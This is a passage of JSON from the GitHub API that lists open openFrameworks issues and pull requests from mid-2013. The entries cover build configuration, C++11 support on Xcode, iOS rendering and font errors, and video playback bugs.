\"CoreMIDI\" and \"CoreMIDI.framework\"."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2405","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2405/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2405/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2405/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2405","id":17569838,"number":2405,"title":"Add debug libs in addon_config.mk","user":{"login":"LeoColomb","id":846943,"avatar_url":"https://2.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https%3A%2F%2Fidenticons.github.com%2F9b0717bb9dfcf59d8595ea9f529a3769.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":4,"created_at":"2013-08-02T16:44:20Z","updated_at":"2013-08-03T11:56:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`addon_config.mk` is cool, but with VS for example, we can't add debug libs, or declare any variable which says \"debug lib are here and have to be include in debug mode\"."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2404","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2404/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2404/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2404/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2404","id":17569755,"number":2404,"title":"devApps/projectGenerator isn't setting ADDON_CFLAGS","user":{"login":"danomatika","id":480637,"avatar_url":"https://2.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https%3A%2F%2Fidenticons.github.com%2Fc08a17ef2f16970cd18f487915737897.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following{/other_user}","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-02T16:42:18Z","updated_at":"2013-08-05T11:16:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm using the current develop to update the ofxPd examples. I created an addons_config.mk and specified the ADDON_CFLAGS needed by libpd. I generated 2 projects, 1 for OSX and 1 for iOS, and neither have the custom CFLAGS form the addons_config.mk set. This means they can't build and beginners will go running to the hills."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2398","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2398/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2398/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2398/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2398","id":17561806,"number":2398,"title":"Added setUseShapeColor & getUseShapeColor to ofxSVG","user":{"login":"bgstaal","id":165258,"avatar_url":"https://2.gravatar.com/avatar/4fcf8b28dcc18014970d4930d0a00e72?d=https%3A%2F%2Fidenticons.github.com%2Fc78b173dd2f89f95c1414e53b78123fe.png","gravatar_id":"4fcf8b28dcc18014970d4930d0a00e72","url":"https://api.github.com/users/bgstaal","html_url":"https://github.com/bgstaal","followers_url":"https://api.github.com/users/bgstaal/followers","following_url":"https://api.github.com/users/bgstaal/following{/other_user}","gists_url":"https://api.github.com/users/bgstaal/gists{/gist_id}","starred_url":"https://api.github.com/users/bgstaal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bgstaal/subscriptions","organizations_url":"https://api.github.com/users/bgstaal/orgs","repos_url":"https://api.github.com/users/bgstaal/repos","events_url":"https://api.github.com/users/bgstaal/events{/privacy}","received_events_url":"https://api.github.com/users/bgstaal/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-08-02T14:06:22Z","updated_at":"2013-08-20T08:51:53Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2398","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2398.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2398.patch"},"body":"Today the only way of overriding the color of an SVG is by looping over the internal ofShapes and calling setUseShapeColor on them from the outside. This seems a bit hacky & requires some knowledge about ofxSVG internals. I think it is better if this functionality is exposed through a pair of public methods.\r\n\r\nTested on Mac OS 10.7"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2397","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2397/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2397/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2397/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2397","id":17554753,"number":2397,"title":"Improve projectGenerator","user":{"login":"LeoColomb","id":846943,"avatar_url":"https://2.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https%3A%2F%2Fidenticons.github.com%2F9b0717bb9dfcf59d8595ea9f529a3769.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-02T10:57:35Z","updated_at":"2013-08-03T15:35:16Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2397","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2397.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2397.patch"},"body":"* Fix parsing `addons.make` (error about inclusion in projects)\r\n* Improve UI"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2395","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2395/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2395/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2395/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2395","id":17545822,"number":2395,"title":"OF7.4 ofVideoPlayer::nextFrame() Bug...","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":7,"created_at":"2013-08-02T06:06:21Z","updated_at":"2013-08-17T03:57:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this method can work correctly only when the frame rate of mov file is 30.1.\r\nIf the frame rate is 30.0, the nextFrame method will stop update when it accumulate up to 30.\r\n\r\nDevelopment environment: vs2010 ,win7...."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2381","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2381/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2381/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2381/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2381","id":17464883,"number":2381,"title":"error with fontExample on iOS","user":{"login":"ofTheo","id":144000,"avatar_url":"https://1.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":3,"created_at":"2013-07-31T17:26:49Z","updated_at":"2013-08-11T18:32:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"the example runs fine but this is printed out for each TTF font loaded. \r\n\r\n[ error ] ofTrueTypeFont: loadFontFace(): couldn't create new face for \"\": FT_Error 2 unknown freetype\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2372","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2372/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2372/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2372/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2372","id":17443641,"number":2372,"title":"ofImage.draw() lost 1 pixel in IOS retina device","user":{"login":"Geistyp","id":1510109,"avatar_url":"https://1.gravatar.com/avatar/6b42478d52d104580a1ae20f973975c2?d=https%3A%2F%2Fidenticons.github.com%2F45d69e69ac304ad6dc2269ebba53ba69.png","gravatar_id":"6b42478d52d104580a1ae20f973975c2","url":"https://api.github.com/users/Geistyp","html_url":"https://github.com/Geistyp","followers_url":"https://api.github.com/users/Geistyp/followers","following_url":"https://api.github.com/users/Geistyp/following{/other_user}","gists_url":"https://api.github.com/users/Geistyp/gists{/gist_id}","starred_url":"https://api.github.com/users/Geistyp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Geistyp/subscriptions","organizations_url":"https://api.github.com/users/Geistyp/orgs","repos_url":"https://api.github.com/users/Geistyp/repos","events_url":"https://api.github.com/users/Geistyp/events{/privacy}","received_events_url":"https://api.github.com/users/Geistyp/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://1.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":7,"created_at":"2013-07-31T10:03:10Z","updated_at":"2013-08-01T03:45:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://imgur.com/HMQfoJ3\r\n\r\n```c++\r\nvoid testApp::draw(){\r\n ofBackground(255, 0, 0);\r\n\tif ( photo.isAllocated() ){\r\n photo.draw(0, 0, ofGetWidth(), ofGetHeight());\r\n }\r\n}\r\n```\r\nthis should be fullscreen, but result lost 1 pixel in width.\r\n\r\nI test this in iTouch5 - iOS 6.1.3"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2366","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2366/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2366/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2366/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2366","id":17391327,"number":2366,"title":"feature suggestions : lambdas for threads and events","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://1.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":11,"created_at":"2013-07-30T11:41:41Z","updated_at":"2013-08-19T15:05:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"suggestions:\r\n\r\n```c++\r\nofEvent::addListener(std::function); // add a lambda listener to an ofEvent. Need to consider how we could remove the listener later\r\nofThread::setThreadedFunction(std::function); // override a thread to use a lambda instead of needing to extend the class\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2361","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2361/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2361/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2361/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2361","id":17341704,"number":2361,"title":"bug: bool binary has no effect with ofFile on Windows","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://1.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-07-29T14:21:04Z","updated_at":"2013-07-29T15:14:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"To reproduce:\r\n\r\n```\r\n\t\tofFile save(\"somethingToWrite.txt\", ofFile::WriteOnly, true);\r\n\t\tsave << 256;\r\n\t\tsave.close();\r\n```\r\n\r\nthis will create a text file with the contents \"256\" in ASCII.\r\n\r\nI'm not 100% sure this is the correct usage pattern for the `binary` argument."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2356","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2356/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2356/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2356/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2356","id":17317196,"number":2356,"title":"GLUT warning when debugging on OSX","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-07-28T21:01:13Z","updated_at":"2013-07-29T18:11:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"when i create a breakpoint and debug in OSX using a minimal example i get a warning from xcode in the console:\r\n\r\n```\r\nwarning: Could not find object file \"/openFrameworks/GLUT/OF_CUSTOM_GLUT/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n```\r\n\r\n```c++\r\n#include \"ofMain.h\"\r\nclass ofApp : public ofBaseApp {\r\npublic:\r\n\tvoid setup() {\r\n\t// breakpoint here\r\n\t}\r\n};\r\nint main( ){\r\n\tofSetupOpenGL(1280, 720, OF_WINDOW);\r\n\tofRunApp(new ofApp());\r\n}\r\n```\r\n\r\nthis is on xcode 4.2, osx 10.6.8"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2335","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2335/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2335/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2335/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2335","id":17162874,"number":2335,"title":"bugfix : c++11 on xcode","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://1.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https%3A%2F%2Fidenticons.github.com%2Fd5f2a0f6c7205cf195a62516b19b4f2c.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":40,"created_at":"2013-07-24T15:18:50Z","updated_at":"2013-08-20T09:42:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey all!\r\n\r\n[EDIT]\r\nIt seems that we don't have c++11 support right now with on osx.\r\nThe issue primarily is that we have to use libc++ with c++11, which does not support legacy tr1 namespace symbols. To fix this bug we need to write a c++11 version which does not use tr1 namespace.\r\n\r\nThis could either involve:\r\n1. Writing a win/linux/mac C++11 implementation without tr1\r\n2. Writing a special implementation for libc++ without tr1 for osx\r\n\r\nI think the only difference between 1 and 2 is more testing is required for 1. (i.e. the code should look identical).\r\n\r\n[/EDIT]\r\n\r\nIn ofTypes I edited:\r\n```\r\n#if (_MSC_VER)\r\n#include \r\n#else\r\n#include \r\n// import smart pointers utils into std\r\nnamespace std {\r\n\tusing std::tr1::shared_ptr;\r\n\tusing std::tr1::weak_ptr;\r\n\tusing std::tr1::static_pointer_cast;\r\n\tusing std::tr1::dynamic_pointer_cast;\r\n\tusing std::tr1::const_pointer_cast;\r\n\tusing std::tr1::enable_shared_from_this;\r\n\tusing std::tr1::__dynamic_cast_tag;\r\n}\r\n#endif\r\n```\r\n\r\nto:\r\n```\r\n#if (_MSC_VER || true) // <----basically hacked here\r\n#include \r\nusing std::shared_ptr;\r\n#else\r\n#include \r\n// import smart pointers utils into std\r\nnamespace std {\r\n\tusing std::tr1::shared_ptr;\r\n\tusing std::tr1::weak_ptr;\r\n\tusing std::tr1::static_pointer_cast;\r\n\tusing std::tr1::dynamic_pointer_cast;\r\n\tusing std::tr1::const_pointer_cast;\r\n\tusing std::tr1::enable_shared_from_this;\r\n\tusing std::tr1::__dynamic_cast_tag;\r\n}\r\n#endif\r\n```\r\n\r\nnow i get complaints on `__dynamic_cast_tag`. And ran out of google results. ideas?\r\n\r\n```\r\n/Volumes/SHARED/openFrameworks/libs/openFrameworks/types/ofTypes.h:169:36: No type named '__dynamic_cast_tag' in namespace 'std'\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2321","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2321/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2321/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2321/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2321","id":17045573,"number":2321,"title":"ofImage grabScreen doesn't take into account screen orientation on 